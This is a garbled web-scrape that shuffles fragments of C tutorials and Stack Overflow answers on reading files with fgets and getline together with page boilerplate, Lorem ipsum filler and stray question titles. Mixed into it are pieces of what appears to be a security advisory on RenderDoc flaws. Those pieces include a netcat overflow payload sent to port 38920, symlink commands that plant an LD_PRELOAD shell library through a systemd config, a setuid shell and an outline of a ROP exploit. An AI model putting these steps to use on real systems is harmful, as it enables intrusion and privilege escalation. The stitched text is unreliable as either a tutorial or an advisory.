97 m_BufferBase = AllocAlignedBuffer(m_BufferSize); 0000021b Vestibulum porttitor aliquam luctus. 367 { Why did some stigmatized theonyms survive in English? alice$ LD_PRELOAD=/usr/lib/librenderdoc.so sleep 600 ... This was expected because our code can store an entire line from the original text file only if the line can fit inside our chunk array. Summary All you need is the following: How do I assign the string value read from each line into a string array, that is where I am stuck, Thanks. If you run the same code on macOS the line buffer is resized to 1024 bytes. 577), We are graduating the updated button styling for vote arrows, Statement from SO: June 5, 2023 Moderator Action. becomes larger than 10MB and m_BufferSize is 64KB, so the calculation of ------------------------------------------------------------------------ What if you need to have the entire line of text available for further processing and not a piece of line ? puts () function writes line to o/p screen. It helps sort, organize, store, and retrieve data efficiently, much like a librarian would do with books in a library. ------------------------------------------------------------------------ exists, even if it does not belong to the user who runs RenderDoc ------------------------------------------------------------------------ I started writing in C back in 1987 (or thereabouts) but had to switch to C++ a few years later, in order to get a new job. All three vulnerabilities were fixed on May 19, 2023 by the following ... Chances are they have and don't get it. ======================================================================== Second, use the fgets () or fgetc () function to read text from the file. ------------------------------------------------------------------------ Site design / logo © 2023 Stack Exchange Inc; user contributions licensed under CC BY-SA. 1314 el.resize((int)len); 94 m_Sock = sock; Proof of concept (string-buffer overflow): We are going to take the above example and replace the POSIXâs getline version with our own implementation, say my_getline. RDOC 003906: [05:50:25] glx_hooks.cpp( 811) - Log - Registering GLX hooks How do I let my manager know that I am overwhelmed since a co-worker has been out due to family emergency? in append mode: ... Praesent et nunc at libero vulputate convallis. Lorem ipsum dolor sit amet, consectetur adipiscing elit. 3045 } the client name directly into the string buffer (at line 304), and reads Browse other questions tagged, Where developers & technologists share private knowledge with coworkers, Reach developers & technologists worldwide. What should I do when I can’t replicate results from a conference paper? fgets () function is a file handling function in C programming language which is used to read a file line by line. To read from a text file, you follow these steps: To read from a text file one character at a time, you use the fgetc() function. mmap()ed PROT_NONE, and is mprotect()ed read-write as needed by malloc: If we encounter what appears to be an advanced extraterrestrial technological device, would the claim that it was designed be falsifiable? Unless those old ones but latest C compilers are cool with that but I some POSIX methods such as itoa and strrev have been replaced in later C versions. Trying to read first line of file using fgets. Proof of concept (intermediary-buffer overflow): addresses, the stack canary, etc. If the End-of-File is encountered and no characters have been read, fgets returns NULL. problem (indeed, RenderDoc only adds an uncontrolled header after \n, nobody$ cd /tmp/RenderDoc This file handling C program illustrates how to read the contents of a file. Get monthly updates about new articles, cheatsheets, and tricks. --|-+-+-+-+--------------------+-------------+-------------+--+----------- the libraries are randomly aligned on 4KB (or sometimes 2MB) by ASLR. random (and smaller than 64MB), because the heap is aligned on 64MB but In this article, I will show you how to read a text file line by line in C using the standard C function fgets and the POSIX getline function. https://www.qualys.com/2020/05/19/cve-2005-1513/remote-code-execution-qmail.txt 3026 uintptr_t mem = (uintptr_t) chunk2mem (p); Calling the program with an argument that is a path to a file containing the following text: This very simple example allows a fixed maximum line length, such that longer lines will effectively be counted as two lines. 2/ We (remote attackers) establish 7 successive connections to the ------------------------------------------------------------------------ 92 StreamReader::StreamReader(Network::Socket *sock, Ownership own) 3027 uintptr_t block = (uintptr_t) p - prev_size (p); @ClaudioCortese OP is "new at programming", hence the post. Browse other questions tagged, Where developers & technologists share private knowledge with coworkers, Reach developers & technologists worldwide, If your lines can have arbitrary length, how do you expect to skip, The only real alternative is to build an index of where each line starts (read the file once, build the index, then you use it to seek directly to a line until/unless the file changes). Connect and share knowledge within a single location that is structured and easy to search. Agree I need a way to reset the file pointer for the second iteration to not return null, No all you need is the second loop. They are given below. The next time Alice logs in, our shared library /var/tmp/shell.so will To subscribe to this RSS feed, copy and paste this URL into your RSS reader. nobody$ /var/tmp/shell -p ... - CVE-2023-33865, a symlink vulnerability that is exploitable by any ------------------------------------------------------------------------ Asking for help, clarification, or responding to other answers. Please find below the description and syntax for above file handling function. RDOC 003906: [05:50:25] egl_hooks.cpp(1073) - Log - Registering EGL hooks https://github.com/baldurk/renderdoc/commit/771aa8e769b72e6a36b31d6e2116db9952dcbe9b ------------------------------------------------------------------------ New lines are delimited by the presence of line end characters and they can, in general, occur anywhere. .... is much larger than the size of the destination buffer (at line 411): Having problems transferring data from my second txt file to my second character array using command line arguments, How to use fgets to read a file line by line. 407 allows quick and easy single-frame capture and detailed introspection 3018 static void rev 2023.6.6.43481. --|-+-+-+-+--------------------+-------------+-------------+--+----------- ... Copyright © TUTORIALS POINT (INDIA) PRIVATE LIMITED. alice$ cat /home/alice/.bashrc this function "Considers EOF, \n, \r and \0 end of line delimiters", so chain of gadgets from librenderdoc.so (whose address was previously ------------------------------------------------------------------------ Although I used arr[linecount][max_word_length], your code has helped me learn critical file pointer issues in C, Thanks. /tmp/RenderDoc/RenderDoc_app_YYYY.MM.DD_hh.mm.ss.log, and writes to it // 2. How to Carry My Large Step Through Bike Down Stairs? (adsbygoogle = window.adsbygoogle || []).push({}); Get more detail about structure in C programming, /* Open, Read and close a file: reading string by string */. How to change Minecraft screenshots folder? ^^^^^^^^^^^^^^^^ 0 14M 16M 20M 28M 32M fputchar () function writes a character onto the output screen from keyboard input. ------------------------------------------------------------------------ If you know the length of each line, you can use fseek to skip to the line you want. Letâs start with a simple example of using fgets to read chunks from a text file. information-leaked to us) -- a classic "stack smashing" attack. Unfortunately, ReadFromExternal() mistakenly believes that m_InputSize --V-+-+-+-+--------------------V----V--------V----------------V--------V-- I'm new at programming so there are some basics and maybe common sense that I don't know. fields. 354 bool ret = ReadFromExternal(m_BufferHead - 128, 128); If necessary, weâll resize the line buffer: Please note, that in the above code, every time the line buffer needs to be resized its capacity is doubled. - opens (and possibly creates) a log file of the form - Exploitation 184 { - the function sets EINVAL, ENOMEM, EOVERFLOW in case of errors. No, I have been programming since 1966. If a read has been successful, fgets returns the pointer to the buffer that you passed to it (i.e. ... buffer into a reliable, one-shot remote code execution, despite all the PROT_NONE, it is conveniently mprotect()ed read-write by the glibc's 0 64M We make use of First and third party cookies to improve our user experience. The stdio.h header defines the fgets() function. solarianprogrammer.com makes no representations as to accuracy, completeness, currentness, suitability, or validity of any information on this site and will not be liable for any errors, omissions, or delays in this information or any losses, injuries, or damages arising from its display or use. Why have I stopped listening to my favorite album? buffer overflow that is exploitable by any remote attacker to execute When a client connects to librenderdoc.so's server thread on TCP port Fusce dignissim facilisis ligula consectetur hendrerit. nobody$ s=$'_\r[Manager]\rDefaultEnvironment=LD_PRELOAD=/var/tmp/shell.so\r#' 2638 +++ killed by SIGABRT +++ Posting a solution that shows proper usage clarifies the answer as many things are not obvious to those new with C. How to use fgets to read a file line by line. If you knew that, say, every line in the file was the same length, then you could use random access to jump to a particular line. If a read has been successful, fgets returns the pointer to the buffer that you passed to it (i.e. Find centralized, trusted content and collaborate around the technologies you use most. 2695 ) = ? ... The results clearly demonstrate that fgets() and getline() have similar performance with negligible difference in time consumption. Note: we have not tried to exploit this vulnerability. (at line 508), and reserve() adds 1 to the size of this string (for a fgets () function reads string from a file, one line at a time. Thanks for contributing an answer to Stack Overflow! 2638 writev(2, [{iov_base="Fatal glibc error: malloc assert"..., iov_len=47}, {iov_base="__libc_malloc", iov_len=13}, {iov_base=": ", iov_len=2}, {iov_base="!victim || chunk_is_mmapped (mem"..., iov_len=98}, {iov_base="\n", iov_len=1}], 5) = 161 To subscribe to this RSS feed, copy and paste this URL into your RSS reader. It is unfortunate that the standard C library doesnât include an equivalent function. If you want to read a file line-by-line and performance is your primary concern, choose fgets() or getline(). alice$ strace -f -o strace.out -E LD_PRELOAD=/usr/lib/librenderdoc.so sleep 600 It gets something from a file and copies it to the terminal, just like a web scraper or any other data extraction tool. The standard way of reading a line of text in C is to use the fgets function, which is fine if you know in advance how long a line of text could be. overwrite a saved instruction pointer (in the thread stack) with a ROP exact size and contents do not matter much. (It's possible to set up a separate index, but creating the index requires reading through the file anyway, and keeping the index current as the file changes is a difficult problem, probably beyond what you're doing now. All Rights Reserved. --V-+-+-+-+--------------------V----V--------V----------------V--------V-- How can I remove my HVAC condensate drain pipe for cleaning? https://github.com/baldurk/renderdoc/commit/203fc8382a79d53d2035613d9425d966b1d4958e This post has at least 5 far ranging questions. |---------------------------|---> 7/ We connect to the server on TCP port 38920; the server creates a new The following program reads from the readme.txt file one character at a time and display the file contents to the output: To read a line from a text file, you use the fgets() function: The fgets() function reads characters from the stream and store them into the str. // So the first call to fgets below will fail as there is nothing to read. 95 : For testing the code Iâve used a simple dummy file, lorem.txt. 101 m_InputSize = 0; Your question is unclear. across Windows, Linux, Android, or Nintendo Switch(TM)." 405 m_InputSize += length; That's why I used dynamic allocation. - Analysis alice$ LD_PRELOAD=/usr/lib/librenderdoc.so sleep 600 RDOC 003906: [05:50:25] gl_hooks.cpp( 280) - Log - Registering OpenGL hooks fgets (buffer, size, fp); where. remote$ (printf '\2\0\0\0\0\0\0\0\1\0\0\0\x80\x00\xa0\x00%010485760x' 1; sleep 3; printf '%0128x%04096x' 1 1) | nc -nv 192.168.56.126 38920 It's the secret sauce that adds flavor to your programs and can make the difference between a dish that's bland or bursting with flavor. ------------------------------------------------------------------------ allocates a new "heap" for this thread: 64MB of mmap()ed memory, whose of the intermediary buffer), but in ReadLargeBuffer()'s case m_InputSize ======================================================================== alice$ cat strace.out ------------------------------------------------------------------------ How when the data structure is an array of character arrays? You have to use the return value of fgets instead (which returns NULL on eof or error and the pointer it is given otherwise): Checking the return value like this will cause you never to hit the eof inside the body of the loop, like the other one, instead of in the condition. 1307 void SerialiseValue(SDBasic type, size_t byteSize, rdcstr &el) 3020 { free() calls its internal function munmap_chunk(): How can explorers determine whether strings of alien text is meaningful or just nonsense? stack cannot be allocated anymore into the random gap between the As mentioned before, getline is not present in the C standard library. ======================================================================== 2/ We transform RenderDoc's symlink vulnerability into an arbitrary code header that is prepended by RenderDoc causes a syntax error and prevents solarianprogrammer.com does not collect any personal information about its visitors except that which they provide voluntarily when leaving comments. nobody$ s="$(printf '_% 512s SYSTEMD=.config/systemd\n#' ' ')" fgetc () function reads a character from file. You can find all the code examples and the input file at the GitHub repo for this article. |---------------------------| 271 bool StreamReader::ReadLargeBuffer(void *buffer, uint64_t length) Letâs modify the above code in order to print the line length instead of the actual text: This is the result of running the modified code on my machine: In the next example, I will show you how to use the getline function available on POSIX systems like Linux, Unix and macOS. UAC reduces the risk of malware by limiting the ability of malicious code to execute with administrator privileges. Otherwise, you need to go through all lines. uid=65534(nobody) gid=65534(nogroup) euid=1000(alice) groups=65534(nogroup) Kernighan, D.M. nobody$ for ((i=0; i<600; i++)); do getw () function reads an integer from file. https://www.ambionics.io/blog/hacking-watchguard-firewalls RDOC 003906: [05:50:25] core.cpp( 499) - Log - RenderDoc v1.26 Linux 64-bit Release (4524cddca999d52aff790b626f92bb21ae9fe41f) capturing application by data from the client stack), thus information-leaking all sorts of As soon as the client thread returns to a saved instruction pointer ======================================================================== buffer - buffer to put the data in. 306 dest += directReadLength; $ id Not the answer you're looking for? nobody$ mkdir -m 0777 /tmp/RenderDoc System.Text.Json provides two ways to build a JSON DOM: JsonDocument provides the ability to build a read-only DOM by using Utf8JsonReader. Fgets () is one of them. 0000000e librenderdoc.so into the application to be debugged, and this library fputc () functions write a character to file. ... that contains a 16MB client-name string (it must be longer than 10MB to https://github.com/baldurk/renderdoc/commit/1f72a09e3b4fd8ba45be4b0db4889444ef5179e2 100 // for sockets we use m_InputSize to indicate how much data has been read into the buffer. malloc_chunk header with a size field whose IS_MMAPPED bit is set, ======================================================================== of len bytes (at line 1314): ------------------------------------------------------------------------ 437 char *new_str = allocate(s + 1); establish another connection and start sending a 9MB string; the server Why did my papers get repeatedly put on the last day and the last session of a conference? ------------------------------------------------------------------------ - we arrange for a thread stack to be mmap()ed into this hole, and for a Thanks for the answer, I was having an existential crisis for a second. If it is right that there is a '\n' at the end of each line, I run the fgets code as below: Since the characters contain in each line is much less than 100, the fgets should hit the newline character before reach the maxlength limit and it should stop and return a NULL. Note: although the client stack's guard page is initially mmap()ed Consequently, a local attacker can create /tmp/RenderDoc before Alice 185 success = ReadLargeBuffer(data, numBytes); Since then I have been more C++ focused, although still work pure C problems when they come along. not after \r). Why cannot I read string by fgets in C programming language? client-name string (but we do not trigger CVE-2023-33864 this time); the malloc()ated over the higher part of the thread stack, and therefore malloc_chunk header, which we overwrote), so we can munmap() an Browse other questions tagged, Where developers & technologists share private knowledge with coworkers, Reach developers & technologists worldwide. Note: further possibilities for munmap_chunk() exploitation are explored .ssh/authorized_keys, etc). Does a knockout punch always carry the risk of killing the receiver? In this tutorial, we will learn the usage of fgets () function with its parameters with different examples. Please note, how simple is to use POSIXâs getline versus manually buffering chunks of line like in my previous example. CVE-2023-33864, an integer underflow to heap-based buffer overflow Post your full actual code, this shouldn't even compile. Slanted Brown Rectangles on Aircraft Carriers? Without extra knowledge of this sort you simply have no choice but to iterate through the entire file until you reach your desired line. these strings to RenderDoc on TCP port 38920), but unfortunately for the Modeling a continuous variable which can't take values between a and b. The + 1 is needed to provide room for the terminating '\0' character; strlen() doesn't account for that.
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